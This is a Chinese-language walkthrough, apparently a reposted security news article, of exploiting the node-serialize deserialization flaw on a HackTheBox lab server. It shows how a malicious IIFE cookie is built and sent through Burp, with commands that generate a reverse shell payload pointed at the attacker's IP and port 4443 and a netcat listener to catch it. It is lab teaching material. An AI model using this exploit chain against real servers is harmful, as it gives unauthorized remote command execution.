當前位置:
首頁 > 新聞 > NodeJS反序列化漏洞利用getshell

NodeJS反序列化漏洞利用getshell

node.js是一個伺服器端的運行環境,封裝了Google V8引擎,V8引擎執行JavaScript速度非常快,性能非常好。Node.js進行了一些優化並提供替代API,這使得Google V8引擎能夠在非瀏覽器環境下更有效的運行。

但是node.js的序列化過程中依然存在遠程代碼執行漏洞。更直白的說,其實是node.js的node-serialize庫存在漏洞。通過傳輸JavaScript IIFE(立即執行函數表達式),攻擊者可以利用惡意代碼(不受信任的數據),在反序列化過程中遠程執行任意代碼。

漏洞演示環境

靶機:hackthebox節點伺服器

攻擊機:Kali Linux

安裝工具:nodejs,npm,nodejs toolkit,node-serialize

關於漏洞(反序列化攻擊)

不受信任的數據傳遞到unserialize()函數,導致我們可以利用JavaScript對象的立即執行函數表達式也就是IIFE來執行任意代碼。

第一步就是安裝nodejs,通過apt-get命令進行安裝,如下圖

apt-get install nodejs

第二步,使用curl命令安裝npm(需要用npm來安裝node-serialize包),命令如下:

curl -L https://www.npmjs.com/install.sh | sh

當你安裝和配置好了nodejs和npm之後,你就可以通過npm來安裝node-serialize包了,輸入以下命令即可:

npm install node-serialize

另一方面,我們已經連接到了hackthebox伺服器,它的節點伺服器存在漏洞,IP是10.10.10.85:3000(節點伺服器上運行著nodejs express 框架,可以通過nmap來確認)

現在我們開始演示

首先,我們配置好Burp的代理設置,然後向剛才存在漏洞的IP發起請求,用Burp抓包攔截,如圖:

接著選擇cookie值發送到decoder模塊進行解碼,如圖:

這個應用程序的漏洞就是從HTTP請求的cookie中讀取profile的值,進行base64解碼後傳遞給unserialize()函數。由於cookie輸入是不可信的,攻擊者可以精心構造惡意cookie值來利用此漏洞。

接著我們需要下載nodejs security toolkit(nodejs安全工具包)。

在終端中輸入以下命令來下載工具包:

git clone https://github.com/ajinabraham/Node.Js-Security-Course.git

切換到下載的文件夾,執行以下命令來創建反向shell payload,這個payload會把JavaScript代碼當成字元串來執行。

python nodejsshell.py 10.10.14.145 4443

不過首先我們得輸入ifconfig來查看自己的IP地址, 然後再執行命令來創建payload,如圖:

下圖就是最終的反向shell payload:

現在我們用下面的JavaScript代碼來生成序列化的payload

var y = {

rce : function() {}

}

var serialize = require(『node-serialize』);

console.log(「Serialized:
」 + serialize.serialize(y));

將剛才生成的payload放到花括弧里,如圖:

將文件保存為exploit.js,然後使用node命令執行腳本來生成最終序列化的payload:

現在回到Burp中,切換到decoder模塊並粘貼上圖中的輸出代碼到文本框中解碼成字元串,解碼之前,在函數體後面加上IIFE圓括弧():

然後需要對字元串進行base64編碼

向10.10.10.85:3000發出請求,攔截,發送到repeater模塊中,

在repeater模塊中,我們把cookie里的值替換成上面我們剛生成的payload,然後點擊go按鈕

同時,在你的攻擊機kali上監聽4443埠(也就是反向shell payload里的埠)

一旦你點擊了「go」按鈕,伺服器接收到請求,返回200 OK響應碼,並顯示一條錯誤消息」 An error occurred…invalid username type」,同時在nc終端中,你會看到你已經與伺服器建立了連接,狀態為「connected」,然後你就可以任意執行系統命令了,如圖:


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

深入了解正在進行的間諜活動
SGX的外部組件概述(一)

TAG:嘶吼RoarTalk |